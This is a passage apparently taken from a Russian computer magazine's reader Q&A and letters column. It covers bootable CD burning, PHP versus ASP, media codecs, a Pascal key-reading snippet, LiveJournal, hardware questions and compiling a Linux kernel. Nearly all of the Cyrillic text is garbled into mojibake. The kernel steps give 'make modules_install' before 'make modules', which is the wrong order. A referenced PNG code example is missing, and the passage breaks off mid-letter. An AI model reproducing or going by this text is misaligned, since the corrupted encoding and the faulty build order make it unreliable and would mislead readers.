ËÀÌÎÐÀÇÌÛ ÍÎÌÅÐÀ<br />

1. Ñêàæè, ïîæàëóéñòà, êàê óçíàòü IP-àäðåñ<br />

(äîïóñòèì ìîåãî äðóãà), åñëè ìû<br />

çàêîííåêòèëèñü ïî ìîäåìó ÷åðåç Hyper<br />

Terminal<br />

2. Ïûòàëñÿ âñóíóòü ISA’øíûé ìîäåì â ñâîþ<br />

ìàòåðèíêó (asus p4b266), íî òàê íè÷åãî è íå<br />

âûøëî. Íå âõîäèò, ñâîëî÷ü!<br />

Q: Êàê çàïèñàòü íà CD çàãðóçî÷íûé ñåêòîð<br />

âîïðîñ.......................<br />

îòâåò.........................<br />

A: Òàêàÿ ôóíêöèÿ åñòü ïðàêòè÷åñêè âî âñåõ ïèñàëêàõ, íî ÿ ðàññêàæó ëèøü î ñàìûõ ðàñïðîñòðàíåííûõ. Â<br />

äðóãèõ òû ðàçáåðåøüñÿ ñàì - âñå äåëàåòñÿ ïðèìåðíî ïî òàêîìó æå ñöåíàðèþ.<br />

Nero:<br />

1. Åñëè ïðè çàãðóçêå ïîÿâëÿåòñÿ àâòîìàòè÷åñêèé ìàñòåð, ñìåëî çàêðûâàé åãî. Ñ åãî ïîìîùüþ íè÷åãî<br />

òîëêîâîãî âñå ðàâíî íå ñäåëàåøü. Ïîñëå ýòîãî äîëæíî îòêðûòüñÿ îêíî ðó÷íîé íàñòðîéêè çàïèñûâàåìîãî<br />

êîìïàêòà.<br />

2.  ëåâîé ÷àñòè îêîøêà âûáèðàé òèï çàïèñè êîìïàêòà, â íàøåì ñëó÷àå - "CD-ROM (Boot)". Ïîñëå ÷åãî<br />

îñòàåòñÿ ëèøü ïîïðàâèòü íåñêîëüêî çíà÷åíèé â ïîÿâèâøåéñÿ âêëàäêå "Boot".<br />

3. Òåîðåòè÷åñêè äîñòàòî÷íî ëèøü ïðàâèëüíî óêàçàòü ðàñïîëîæåíèå çàãðóçî÷íîãî ñåêòîðà â ïîëå "Image<br />

File". Îäíàêî íà ïðàêòèêå, îêàçûâàåòñÿ, íå âñå òàê ïðîñòî. Ïîýòîìó ðåêîìåíäóþ ïîñòàâèòü ãàëî÷êó íàïðîòèâ<br />

"Enable expert settings", è â ïîëÿõ "Kind of Emulation" è "Number of loaded sectors" ââåñòè ñîîòâåòñòâåííî<br />

"No Emulation" è "4".<br />

4. Íî è ýòî åùå íå âñå! Åñëè â êà÷åñòâå çàãðóçî÷íîãî ñåêòîðà òû áóäåøü þçàòü îðèãèíàëüíûå ôàéëû<br />

Microsoft (NT4BOOT.BIN èëè NT5BOOT.BIN), îáÿçàòåëüíî àêòèâèçèðóé îïöèþ "Do not add the ';1' ISO file<br />

version extension" â ñëåäóþùåé âêëàäêå.<br />

Easy CD Creator<br />

1.  êà÷åñòâå íîâîãî ïðîåêòà íåîáõîäèìî âûáðàòü "Bootable CD".<br />

2.  ïîÿâèâøåìñÿ îêîøêå íåîáõîäèìî îòêëþ÷èòü ýìóëÿöèþ, óñòàíîâèòü çíà÷åíèå "Sector Count" ðàâíûì<br />

"4", à èñïîëüçóÿ êíîïêó "Browse", óêàçàòü ïðîãðàììå ïóòü ê çàãðóçî÷íîìó ñåêòîðó.<br />

CDRWIN<br />

1. Ïåðâûì äåëîì êëèêàé ïî êíîïêå "File Backup and Tools", èìåííî çäåñü è ïðîèñõîäÿò âñå íàñòðîéêè<br />

çàïèñè çàãðóçî÷íîãî CD. Îòêðûâøååñÿ îêíî, âîçìîæíî, èñïóãàåò îáèëèåì ðàçëè÷íûõ íàñòðîåê, íî òû<br />

íå òåðÿéñÿ - âñå, ÷òî òåáå íóæíî - íàéòè çàâåòíóþ êíîïêó "Advanced Options".<br />

2. Äàëåå ïåðåõîäè âî âêëàäêó ñ íàçâàíèåì "Bootable Disc" è ïðîäåëûâàé ñëåäóþùèå äåéñòâèÿ. Àêòèâèçèðóé<br />

îïöèþ "Make Bootable Disc", â ïåðâîì âûïàäàþùåì ìåíþ âûáèðàé "Custom", â êà÷åñòâå "Image<br />

File Name" óêàæè ïóòü ê çàãðóçî÷íîìó ñåêòîðó, à êîëè÷åñòâî ñåêòîðîâ ("Load Sector Count"), êàê îáû÷íî,<br />

óñòàíîâè ðàâíûì ÷åòûðåì.<br />

WinOnCD 6<br />

1. Çäåñü ñîâñåì âñå ïðîñòî. Âî âðåìÿ ñîçäàíèÿ íîâîãî ïðîåêòà äëÿ çàïèñè CD ñ îáû÷íûìè äàííûìè,<br />

çàãëÿíè â îêîøêî "Bootable Disk Properties". Äàëåå â ïîÿâèâøåéñÿ âêëàäêå êëèêíè íàïðîòèâ "Create a<br />

bootable disk using data from image file" è óêàæè ïóòü äî çàãðóçî÷íîãî ñåêòîðà.  îïöèÿõ "Advanced<br />

Settings" óñòàíîâè êîëè÷åñòâî "Sectors to load" ðàâíûì "4" è â ñàìîì íèæíåì âûïàäàþùåì ìåíþ âûáåðè<br />

ïóíêò, îòêëþ÷àþùèé ýìóëÿöèþ ("No Emulation").<br />

Q: ×åì âîîáùå ðàçëè÷àþòñÿ PHP è ASP â ïëàíå âîçìîæíîñòåé<br />

A: Ïðåæäå ÷åì ðàññóæäàòü î âîçìîæíîñòÿõ, íåìíîãî î ôèëîñîôèè. ASP (Active Service Pages) - ýòî íå<br />

ÿçûê, ýòî ñðåäà ïðîãðàììèðîâàíèÿ, îáåñïå÷èâàþùàÿ âîçìîæíîñòü êîìáèíèðîâàíèÿ HTML, ñêðèïòîâ è<br />

êîìïîíåíòîâ äëÿ ñîçäàíèÿ âåá-ïðèëîæåíèé. Ïî óìîë÷àíèþ, ASP ïîíèìàåò "ëèøü" äâà ÿçûêà - VBScript,<br />

JScript, îäíàêî, èñïîëüçóÿ ñïåöèàëüíûå script engine, ìîæíî ðåàëèçîâàòü ïîääåðæêó Perl’à<br />

(http://www.activestate.com/), Rexx’à è íåêîòîðûõ äðóãèõ ÿçûêîâ. PHP æå îáëàäàåò ñâîèì ñîáñòâåííûì<br />

ñèíòàêñèñîì, ìíîãîå èç êîòîðîãî î÷åíü ñõîæå ñ àíàëîãàìè èç Ñ, Perl’à è Java’û. Îñíîâíàÿ öåëü - áûñòðîå<br />

ñîçäàíèå äèíàìè÷åñêèõ âåá-ñòðàíèö. Î âîçìîæíîñòÿõ òîãî èëè äðóãîãî ñóäèòü ñëîæíî. È òîò, è<br />

äðóãîé îòêðûâàþò ðàçðàáîò÷èêó øèðîêîå ïîëå äëÿ äåÿòåëüíîñòè è ðåàëèçàöèè ñàìûõ èçâðàùåííûõ<br />

ñâîèõ ôàíòèçèé :). ×òî êàñàåòñÿ âîïðîñà î áûñòðîäåéñòâèè, òî ASP, ê ñîæàëåíèþ, äàëåêî ïîçàäè. Òàê,<br />

íàïðèìåð, ñèñòåìà *BSD + apache + php + mysql ðàáîòàåò ÷óòü ëè íå â äâà ðàçà áûñòðåå, ÷åì Win2K<br />

+ IIS + ASP + MSSQL. Õîòÿ è çäåñü åñòü êîå-êàêèå íþàíñû.<br />

100


Q: ×àñòåíüêî ïûòàþñü ïîñìîòðåòü òåëåâèçèîííûå<br />

òðàíñëÿöèè ÷åðåç èíåò. Íî íè-<br />

÷åãî íå ïîëó÷àåòñÿ. Òî íå õâàòàåò êàêèõòî<br />

êîäåêîâ, êîòîðûå ñàìè ïî÷åìó-òî íå<br />

ñòàâÿòñÿ, òî åñòü çâóê, íî íåò èçîáðàæåíèÿ.<br />

 ïðèìåð ïðèâåäó òðàíñëÿöèþ 1-ãî<br />

êàíàëà (www.1tv.ru). Ïîìîãèòå, íà ðà-<br />

âîïðîñ.......................<br />

áîòå èíåò æèðíûé è äåëàòü íå÷åãî =)).<br />

îòâåò.........................<br />

A: Ïðàêòè÷åñêè âñå ñåðâèñû, èñïîëüçóþùèå ïîòîêîâîå âèäåî äëÿ èíòåðíåò-òðàíñëÿöèé, èñïîëüçóþò<br />

íîâåíüêèå êîäåêè Windows Media Video 9 è Windows Media Audio 9. Ïðàêòè÷åñêè óâåðåí, ÷òî ó òåáÿ èõ<br />

íåò, ïîýòîìó áåãîì íà îôô-ñàéò Ìåëêîìÿãêîãî (http://www.microsoft.com/windows/windowsmedia/format/codecdownload.asp).<br />

Åñëè æåëàíèÿ âîçèòüñÿ ñ ðó÷íîé óñòàíîâêîé êîäåêîâ íåò (ëåíèâûé, îäíàêî),<br />

òî ñ æèðíûì êàíàëîì áóäåò ïðîùå ïðîñòî ñêà÷àòü Windows Media Player ïîñëåäíåé âåðñèè<br />

(http://www.microsoft.com/windows/windowsmedia/players.aspx). Íåäàâíî ïðîáåãàë âîïðîñ î òîì, ÷òî â<br />

íåì íîâåíüêîãî. Îòâå÷ó ëàêîíè÷íî - íè÷åãî :). Âñå òàêîé æå "òÿæåëûé" è êðàñèâûé ïëååð, íè÷åì îñîáåííûì<br />

íå âûäåëÿåòñÿ. ß ïðåäïî÷èòàþ àëüòåðíàòèâíûå âåðòóøêè. Íàïîñëåäîê íàïîìíþ, ÷òî áîëüøèíñòâî<br />

êîäåêîâ (à îíè â ïîñëåäíåå âðåìÿ ïëîäÿòñÿ â íåìûñëèìûõ êîëè÷åñòâàõ) âêëþ÷åíû â ñïåöèàëüíûå<br />

"êîäåê-ïàêè". Íàèáîëåå èçâåñòíûå - Nimo Pack (http://www.divxdigest.com/software/nimo_pack.html),<br />

K-Lite Codec Pack (http://www.k-lite.tk).<br />

Q: À êàê ìîæíî çàôèêñèðîâàòü<br />

íàæàòèÿ êëàâèø<br />

âîïðîñ.......................<br />

F1-F12 íà ñòàðîì<br />

äîáðîì ïàñêàëå<br />

îòâåò.........................<br />

A: Ñàìûé ñòàíäàðòíûé ñïîñîá:<br />

uses Crt;<br />

var<br />

Key: char;<br />

Begin<br />

while true do Begin<br />

Key:=readkey;<br />

case Key of<br />

#0: WriteLN('#0 + #', ord(readkey));<br />

#27: Begin WriteLN('#27 - Esc pressed.'); Halt; End;<br />

Else WriteLN(ord(key))<br />

End;<br />

End;<br />

End.<br />

Q: Ñðî÷íî íóæíà ëþáàÿ èíôîðìàöèÿ<br />

î ðàñêðóòêå ñàéòà. Îñîáåííî<br />

èíòåðåñóþò ñïåöèàëüíûå<br />

ñèñòåìû ðàñêðóòêè.<br />

âîïðîñ.......................<br />

îòâåò.........................<br />

A: Ñèñòåìû ðàñêðóòêè:<br />

http://www.1ps.ru/<br />

http://www.rusip.ru/<br />

http://submitter.ru/<br />

http://www.raskrutim.ru/<br />

Íàèáîëåå èíòåðåñíûå, íà ìîé âçãëÿä, ïîðòàëû:<br />

http://www.searchengines.ru/<br />

http://www.1ps.ru/article/<br />

http://promosite.ru/<br />

http://sitemaker.ru/promo/<br />

http://www.kokoc.com/search-engines/index.shtml<br />

http://www.oborot.ru/<br />

Q:  ïîñëåäíåå âðåìÿ ìåíÿ ÷àñòåíüêî ñïðàøèâàþò:<br />

"À ó òåáÿ ÆÆ åñòü". Îñòàâàÿñü â<br />

àáñîëþòíîì íåâåäåíèè, ÷òî ýòî òàêîå, ÿ<br />

ñêðîìíî äàþ îòðèöàòåëüíûé îòâåò. Ðàññêàæè,<br />

ïîæàëóéñòà, ïîäðîáíåå î ÆÆ!<br />

âîïðîñ.......................<br />

îòâåò.........................<br />

A: Åùå ñîâñåì íåäàâíî â "Õàêåðå" áûëà õîòü è íåáîëüøàÿ, íî èíôîðìàòèâíàÿ ñòàòüÿ î LiveJournal’å (Æèâîé<br />

Æóðíàë, îòñþäà è àááðåâèàòóðà ÆÆ), à ïîäîáíûå âîïðîñû âñå èäóò è èäóò. ×òî æ, ïðèäåòñÿ îáúÿñíèòü åùå<br />

ðàç. Íî ýòîò ðàç - ïîñëåäíèé! Áûâàëûì ïîëüçîâàòåëÿì ÐóÍåòà óæå äàâíî íàäîåëî áåññìûñëåííîå îáùåíèå<br />

íà ôîðóìàõ è êîíôåðåíöèÿõ è åùå õóæå - â ÷àòàõ. Êàçàëîñü áû, ÷òî åùå ìîæíî ïðèäóìàòü äëÿ âîçðîæäåíèÿ<br />

èíòåðåñà ê îáû÷íîìó òðåïó Îêàçàëîñü, ÷òî ìîæíî! È èìÿ ýòîìó ÷óäó - âèðòóàëüíûå äíåâíèêè. Çäåñü<br />

êàæäûé íàøåë òî, ÷òî èñêàë. Îäíè ïîëó÷èëè ñïîñîá îáñóäèòü ñ âèðòóàëüíûìè äðóçüÿìè ïðîáëåìû ñ ó÷åáîé,<br />

äåâóøêîé, ðîäèòåëÿìè, êîìïüþòåðîì èëè ïðîñòî ïîâñåäíåâíûå òðóäíîñòè. Äðóãèå, òå, êòî ëþáèò<br />

ëåçòü íå â ñâîè äåëà, íàøëè, íàêîíåö, íåèñ÷åðïàåìûé ðåñóðñ ñïëåòåí, èíòðèæåê è ò.ï. Ïîýòîìó ïîÿâèâøèéñÿ<br />

ñåðâåð www.LiveJournal.com êîëîññàëüíûìè òåìïàìè çàâîåâàë ïîïóëÿðíîñòü. Ôèøåê íåñêîëüêî. Âîïåðâûõ,<br />

ïðîñòîòà. À ÷òî åùå íóæíî ðÿäîâîìó ïîëüçîâàòåëþ - êðàñèâî, óäîáíî è ôóíêöèîíàëüíî (à òû äóìàë,<br />

ïî÷åìó âèíäà ñòîëü ïîïóëÿðíà). Äåëî â òîì, ÷òî âñÿ òåõíè÷åñêàÿ ñòîðîíà äåëà ëåæèò íà ïëå÷àõ ðàçðàáîò÷èêîâ<br />

ñåðâèñà. À îíè, ìåæäó ïðî÷èì, â ñâîå âðåìÿ ïîðàáîòàëè íà ñëàâó. Èìåþùèåñÿ øàáëîíû (âíåøíèé<br />

âèä äíåâíèêà) ìîæíî áåç ïðîáëåì ïîäîãíàòü ïîä ñåáÿ, ïðîäâèíóòàÿ ñèñòåìà êîììåíòàðèåâ äàëà òî,<br />

áåç ÷åãî íå ìîãóò æèòü èíòåðíåò÷èêè, - îáùåíèå. À ïðîäóìàííàÿ è îòëè÷íî ðåàëèçîâàííàÿ ñèñòåìà "äðóæåñòâåííûõ<br />

äíåâíèêîâ" ïîçâîëèëà ïðî÷èòàòü è ïðîêîììåíòèðîâàòü âñå íîâûå çàïèñè äðóçåé îäíèì ìàõîì,<br />

"íå êî÷óÿ" îò îäíîãî äíåâíèêà ê äðóãîìó. Åñòü è åùå íåñêîëüêî íþàíñîâ. Íå òåáå îáúÿñíÿòü, ÷òî WWW-ôîðìû<br />

- âåùü äîâîëüíî ìåäëåííàÿ, äà è ïðè ïîòåðå êîííåêòà âî âðåìÿ ïåðåäà÷è ìîæíî áåçâîçâðàòíî ïîòåðÿòü<br />

ïàðó-ôòðîéêó êèëîáàéò òîëüêî ÷òî îòáèòîãî è îòðåäàêòèðîâàííîãî ÷òèâà. Ïîýòîìó ïîÿâèâøèåñÿ ñïåöèàëüíûå<br />

êëèåíòû äëÿ äîáàâëåíèÿ â æóðíàë çàïèñåé ñòàëè åùå îäíèì íåîñïîðèìûì ïëþñîì ñåðâåðà. Ìíå<br />

ëè÷íî ïîíðàâèëèñü Semagic 1.2.1.1 (http://www.livejournal.com/community/ljwin32_sema/), è KLuJe<br />

(http://kluje.sourceforge.net/). Ïåðâûé ïîä âèíäû, âòîðîé ðàáîòàåò òîëüêî ïîä KDE, è òîò è äðóãîé ïðàêòè-<br />

÷åñêè èäåíòè÷íû ïî ôóíêöèîíàëüíîñòè è íè÷åãî ñëîæíîãî ñîáîé íå ïðåäñòàâëÿþò.  ëþáîì ñëó÷àå, åñëè<br />

òåáÿ îíè ÷åì-òî íå óñòðîÿò, ìîæåøü ñìåëî ïîèñêàòü ÷òî-íèáóäü ïîäõîäÿùåå ñðåäè íåñêîëüêèõ äåñÿòêîâ<br />

àíàëîãîâ - http://www.livejournal.com/download/. Òåïåðü ëîæêà äåãòÿ. Ðàçðàáîò÷èêè çàâåäîìî îïàñàëèñü<br />

áîëüøîãî íàïëûâà äåáèëîâ è èìáåöèëîâ, êîòîðûì äíåâíèêè, ÿñíîå äåëî, íóæíû òîëüêî äëÿ òîãî, ÷òîáû<br />

ïîôëåéìèòü. Ïîýòîìó çàðåãèñòðèðîâàòüñÿ â ñèñòåìå ìîæíî, òîëüêî èñïîëüçóÿ ñïåöèàëüíûé êîä. Åäèíñòâåííûé<br />

ñïîñîá åãî ïîëó÷èòü - ïîïðîñèòü êîãî-íèáóäü èç óæå çàðåãèñòðèðîâàííûõ ïîëüçîâàòåëåé. Åñëè<br />

òàêîâûõ íåò - îáðàùàéñÿ â ñïåöèàëüíûå îáùåñòâà :) - http://www.livejournal.com/community/ru_invite/ è<br />

http://www.livejournal.com/community/mozhno_kod/. Áûòü ìîæåò, òåáå ïîìîãóò. Êñòàòè, åñëè òû ïîäóìàë, ÷òî<br />

ÆÆ - åäèíñòâåííûé â ñâîåì ðîäå, òû ãëóáîêî íå ïðàâ.  îäíîì ÐóÍåòå ÿ çíàþ íåñêîëüêî âïîëíå ïðèëè÷íûõ<br />

ñåðâèñîâ (www.diary.ru, www.li.ru, www.blog.ru), à óæ ñêîëüêî çàáóãîðíûõ...


Þíèòû<br />

FAQ<br />

Q:<br />

Stepan Ilyin aka Step (faq@real.xakep.ru)<br />

Çàäàâàÿ âîïðîñ, ïîäóìàé! Íå ñòîèò ìíå ïîñûëàòü<br />

âîïðîñû, òàê èëè èíà÷å ñâÿçàííûå ñ<br />

õàêîì/êðÿêîì/ôðèêîì - äëÿ ýòîé åñòü hack-faq<br />

(hackfaq@real.xakep.ru), íå ñòîèò òàêæå çàäàâàòü<br />

îòêðîâåííî ëàìåðñêèå âîïðîñû, îòâåò íà êîòîðûå<br />

òû ïðè îïðåäåëåííîì æåëàíèè ìîæåøü íàéòè è<br />

ñàì. ß íå òåëåïàò, ïîýòîìó êîíêðåòèçèðóé âîïðîñ,<br />

ïðèñûëàé êàê ìîæíî áîëüøå èíôîðìàöèè.<br />

Q: Óæå äîâîëüíî äàâíî<br />

ìåíÿ ìó÷àåò îäèí âîïðîñ.<br />

Ó ìåíÿ ñòîèò SB Live 5.1,<br />

ïîñëå òîãî êàê ïðèîáðåë<br />

5.1 àêóñòèêó, ñðàçó çàìåòèë,<br />

÷òî íå ðàáîòàåò<br />

ôðîíòàëüíûé ñàòåëëèò.<br />

Ïîìîãèòå! Ìîæåò, ýòî<br />

íåèñïðàâíîñòü, è ïî ãàðàíòèè<br />

íóæíî ñäàâàòü<br />

âîïðîñ.......................<br />

îòâåò.........................<br />

A: Äëÿ íà÷àëà ñòîèò îïðåäåëèòü, ãäå èìåííî íå ðàáîòàåò ñàòåëëèò.<br />

Äåëî â òîì, ÷òî ïîëíîöåííûì çâóêîì 5.1 ìîæíî<br />

íàñëàäèòüñÿ òîëüêî ïðè ïðîñìîòðå DVD èëè âî âðåìÿ èãðû<br />

â íåêîòîðûå ïðîäâèíóòûå èãðóøêè (íàïðèìåð, Unreal II). À<br />

ïðè ïðîñëóøèâàíèè îáû÷íûõ CDA, mp3, divx è òîìó ïîäîáíîãî<br />

ñàòåëëèò ïî óìîë÷àíèþ ìîë÷èò. Ìîæíî, êîíå÷íî, âîñïîëüçîâàòüñÿ<br />

5.1-ñèìóëÿöèåé, êîòîðàÿ àêòèâèçèðóåòñÿ â<br />

íàñòðîéêàõ çâóêîâóõè, íî íè÷åãî êðîìå EAX ýôôåêòîâ òû íå<br />

ïîëó÷èøü. Òåïåðü î òîì, êàê æå âñå-òàêè ïðîâåðèòü ðàáîòîñïîñîáíîñòü<br />

âñåé ñèñòåìû. Åñëè âî âðåìÿ êðåàòèâîâñêîãî<br />

òåñòà ñàòåëëèò ðàáîòàåò - êîïè äåíüãè íà DVD, åñëè æå<br />

íåò - ïðîâåðü ïðàâèëüíîñòü ïîäêëþ÷åíèÿ êîëîíîê èëè èäè<br />

â òåõíè÷åñêèé öåíòð.<br />

Q: Ïîìíþ, òû âñåãäà õâàëèë ïðîäóêöèþ<br />

Seagate, ìîë "ðûáû" ñàìûå áûñòðûå,<br />

ñàìûå òèõèå è ò.ï. À ìíîãèå ñåé÷àñ ãîâîðÿò,<br />

÷òî ïðîäóêöèÿ Seagate ñèëüíî èñïîãàíèëàñü!<br />

Ïðàâäà ëè ýòî!<br />

âîïðîñ.......................<br />

îòâåò.........................<br />

A: Ê ñîæàëåíèþ, èìåííî òàê è åñòü. Ïîñëåäíèå âèíòû, êîòîðûå ïðîèçâîäèòåëü îáîçâàë<br />

Seagate Barracuda 7200.7 (ST380011A, ST340014A), âûçûâàþò ëèøü îòðèöàòåëüíûå ýìîöèè.<br />

Ñêîðîñòü ÷òåíèÿ íå òîëüêî íå óâåëè÷èëàñü, íî äàæå óïàëà. Ñî ñêîðîñòüþ äîñòóïà - òà æå ôèãíÿ.<br />

Íà ãðàôèêè, ïîñòðîåííûå ðàçëè÷íûìè áåí÷ìàðêàìè, äàæå ñìîòðåòü òîøíî. Ñïëîøíûå<br />

ïðîâàëû. Æóòü! Óìà íå ïðèëîæó, êàê ìîæíî áûëî òàê ðåçêî âñå èñïîðòèòü!<br />

ß òóò íåäàâíî ïîäóìàë, ïî÷èòàë êîå-÷òî è ðåøèë,<br />

÷òî ìîæíî íåïëîõî çàðàáîòàòü íà áàííåðíîé<br />

ðåêëàìå. Ñðàçó çàõîòåëîñü ñäåëàòü òàêîé<br />

ïîðòàë, êîòîðîìó íóæíî óäåëÿòü ìèíèìóì âíèìàíèÿ<br />

è ïîëó÷àòü ìàêñèìóì îòäà÷è. Âûáîð ïàë íà<br />

âîïðîñ.......................<br />

"áîëüøîé" ÷àò. Ïîäñêàæè ÷òî-íèáóäü!<br />

îòâåò.........................<br />

A: http://sourceforge.net/projects/phpmychat/ (PHP, MySQL)<br />

http://www.schulhofchat.de/ (PHP, MySQL)<br />

http://www.gtchat.de/ (Perl, áåç MySQL)<br />

http://www.phpheaven.net/ (PHP, MySQL)<br />

http://dukalis.ru/scripts/ (PHP, MySQL)<br />

http://www.med-chat.org/med-chat/en/med-chat/ (PHP, MySQL)<br />

Ñîâåòóþ òùàòåëüíî ïðîâåðèòü ñîîáùåíèÿ â áàãòðàêàõ íà ïðåäìåò çàìåòîê î âûáðàííîì ÷àòå. Èíà÷å ïðîáëåì ìîæåò<br />

áûòü ìîðå.<br />

Q: Óñòðàèâàþñü íà ðàáîòó êîìïüþòåðùèêîì. Â ñïèñêå îáÿçàòåëüíûõ óñëîâèé åñòü òàêîé ïóíêò (âû òîëüêî íå ñìåéòåñü)<br />

- "Óìåíèå îôîðìëÿòü ïî÷åòíûå ãðàìîòû". À ÿ èõ íè ðàçó íå äåëàë. È âîîáùå ÿ ïðîãðàììèñò, à íå äèçàéíåð.<br />

Ïîìîãèòå, ïîæàëóéñòà, ïðåäëîæåíèå óæ ñëèøêîì çàìàí÷èâîå.<br />

A: Ìîãó ïîñîâåòîâàòü çàãëÿíóòü â ëþáîé êíèæíûé èëè êàíöåëÿðñêèé ìàãàçèí è êóïèòü ïàðó-òðîéêó êà÷åñòâåííûõ<br />

áëàíêîâ ãðàìîò. Èõ â ïðîäàæå õâàòàåò, ïîâåðü ìíå. Ïîïàäàåòñÿ àáñîëþòíàÿ áåçâêóñèöà, íî íåêîòîðûå î÷åíü äàæå<br />

íè÷åãî - âûïîëíåíû òîðæåñòâåííî, ïðîñòî, ïðîôåññèîíàëüíî è ñàìîå ãëàâíîå êðàñèâî. Îñòàëîñü îòñêàíèðîâàòü è â<br />

ëþáîì ãðàôè÷åñêîì ðåäàêòîðå äîáàâèòü òåêñò. Åñëè æå îò òåáÿ òðåáóåòñÿ ëèøü íàïå÷àòàòü òåêñò íà ãîòîâûõ áëàíêàõ,<br />

òî ðåêîìåíäóþ äåëàòü âñå íå íà ãëàç, à èñïîëüçóÿ ñïåöèàëüíûå ðàçìåòêè ðåäàêòîðà, èëè, â êðàéíåì ñëó÷àå, ìåòîäîì<br />

ïðîá è îøèáîê íà îáû÷íîé áóìàãå.<br />

Q: À ÷òî ýòî çà íîâîìîäíûé ôîðìàò PNG Êàêèìè<br />

áðàóçåðàìè ïîääåðæèâàåòñÿ, êàêèìè íåò<br />

âîïðîñ.......................<br />

îòâåò.........................<br />

A: Ôîðìàò PNG ("Ïèíã" - èìåííî òàê îáçûâàþò åãî ñàìè ðàçðàáîò÷èêè) ïî ïðàâó çàñëóæèâàåò âíèìàíèÿ âåá-äèçàéíåðîâ.<br />

Èñïîëüçóåòñÿ, êàê ïðàâèëî, äëÿ õðàíåíèÿ íåñëîæíûõ ðèñóíêîâ. Èìåííî â ýòîì ñëó÷àå åãî èñïîëüçîâàíèå<br />

íàèáîëåå ýôôåêòèâíî. Ïîðîé äàæå ýôôåêòèâíåå ïðîâåðåííîãî âðåìåíåì GIF’à. ×òî êàñàåòñÿ ïîääåðæêè áðàóçåðàìè,<br />

òî ýòî, ê ñîæàëåíèþ, ïîêà åùå áîëüíîå ìåñòî. Åñëè â Îïåðå è Ìîçèëëå âñå ðàáîòàåò ïðîñòî çàìå÷àòåëüíî,<br />

òî IE äî ñèõ ïîð íå íàó÷èëñÿ ïîíèìàòü ïðîçðà÷íûå ôîíû ó ðèñóíêîâ, ñîõðàíåííûõ â ôîðìàòå PNG ïîñëåäíåé âåðñèè.<br />

Ïðàâäà, åñëè ïîäêëþ÷àòü PNG, èñïîëüçóÿ ñëåäóþùèé êîä:<br />

<br />

"îñåë" îòîáðàçèò âñå êàê íàäî. Ïîäðîáíåå î ôîðìàòå è ðåøåíèè ïðîáëåì ñ ïðîçðà÷íûìè ôîíàìè ìîæíî ïðî÷èòàòü<br />

íà ñàéòàõ http://www.alistapart.com/stories/pngopacity/ è http://www.w3.org/TR/png.html.<br />

Q: À êàê îòêîìïèëèðîâàòü<br />

Linux-ÿäðî<br />

âîïðîñ.......................<br />

îòâåò.........................<br />

A: Äî ñèõ ïîð íå ïîíèìàþ, îòêóäà âçÿëñÿ ñëóõ, ÷òî óìåíèå ïåðåêîìïèëèðîâàòü<br />

ÿäðî *nix-ñèñòåìû ïîäâëàñòíî òîëüêî êîìïüþòåðíûì<br />

ãóðó. Íà ñàìîì äåëå, âñå äîâîëüíî ïðîñòî. Èòàê, ïðèñòóïèìñ.<br />

Äëÿ íà÷àëà íóæíî íàéòè ñâåæåå ÿäðûøêî. Êóïèøü ëè òû "Õàêåð"<br />

ñ äèñêîì èëè ñêà÷àåøü åãî ñ ftp’øíèêà<br />

(ftp://ftp.kernel.org/pub/linux/kernel/) - íåâàæíî. Ãëàâíîå, ÷òîáû<br />

îíî áûëî "ñâåæèì". Ïîñëå íåîáõîäèìî åãî ðàñïàêîâàòü â<br />

/usr/src/linux. Äëÿ ñàìûõ ìàëåíüêèõ - ýòî ìîæíî ñäåëàòü òàê: tar<br />

xvjf linux-x.x.x.tar.bz2 (â ñëó÷àå, åñëè òû ñêà÷àë â tar.bz2 àðõèâå).<br />

Íà ýòîì ñàìàÿ ëåãêàÿ ÷àñòü çàêîí÷åíà. Ïðåäñòîèò íåëåãêàÿ ïðîöåäóðà<br />

ñîçäàíèÿ êîíôèãà. Ðàçðàáîò÷èêè ïðåäëàãàþò 4 âàðèàíòà:<br />

òåêñòîâûé êîíñîëüíûé êîíôèã (äëÿ çàïóñêà íàäî íàáðàòü make<br />

config), ãðàôè÷åñêèé êîíñîëüíûé (make menuconfig), ãðàôè÷åñêèé<br />

x-âèíäîâûé (make xconfig), âîññòàíîâëåíèå ñòàðîãî âàðèàíòà<br />

êîíôèãà èç .config (make oldconfig). Âûáîð çà òîáîé. ß, íàïðèìåð,<br />

âñåãäà ïîëüçóþñü ïåðâûì. ×òîáû ãðàìîòíî îòâå÷àòü íà âîïðîñû<br />

ñèñòåìû, ñîâåòóþ îáðàòèòüñÿ ê ìàíóàëàì è<br />

/usr/src/linux/Documentation, òàê êàê äëÿ îáúÿñíåíèÿ âñåõ íþàíñîâ<br />

ïîíàäîáèòñÿ öåëàÿ ñòàòüÿ. Ïîñëå òîãî, êàê êîíôèã ãîòîâ, â<br />

/usr/src/linux ñëåäóåò ïîñëåäîâàòåëüíî íàáðàòü: make dep, make<br />

bzImage, çàòåì make modules_install, è, íàêîíåö, make modules. È<br />

âñå, ÿäðî ãîòîâî. Îñòàëîñü çàñòàâèòü åãî ãðóçèòüñÿ. Äëÿ ýòîãî äîáàâü<br />

â /etc/lilo.conf ñëåäóþùåå:<br />

image=/boot/kernel<br />

label=linux-x.x.x<br />

ãäå /boot/kernel - ïðåäâàðèòåëüíî ñêîïèðîâàííûé ôàéë<br />

/usr/src/linux/arch/i386/boot/bzImage.<br />

102


Þíèòû<br />

ÍÀ ÏÈÑÜÌÀ ÎÒÂÅ×ÀË AVALANCHE<br />

e-MAIL<br />

From: Siner [Siner@ngs.ru]<br />

Subject: ×òî ñî ìíîé ñòàëî<br />

Íàøå å-ìûëî: magazine@real.xakep.ru<br />

From: Òàìàðà Öîöîðèÿ [tomie1803@mtu-net.ru]<br />

Subject: n/a<br />

Ïðèâåò ðåäàêöèÿ!<br />

ß - íà÷èíàþùèé ÷èòàòåëü Õ.. è ðåøèë íå ïðîïóñêàòü íè îäíîãî íîìåðà âàøåãî<br />

æóðíàëà. Íî Õ.. (õàêåð) î÷åíü áûñòðî ðàñêóïàþò :(.<br />

Î÷åíü õîòåëîñü áû ïîêóïàòü ñâåæèé íîìåð ñ äèñêîì. Ïîäñêàæèòå, ãäå ìîæíî<br />

äîñòàòü<br />

Óâàæàåìûé(àÿ) Ò.., ðàç óæ òû âñå-òàêè ðåøèë(à) íå ïðîïóñêàòü íè<br />

îäíîãî íîìåðà, ïðèäåòñÿ ïîòðóäèòüñÿ. Â íàøå òÿæåëîå âðåìÿ,<br />

êîãäà äàæå êîìïüþòåðíûå æóðíàëû ñòàëè äåôèöèòîì, ó ðÿäîâîãî<br />

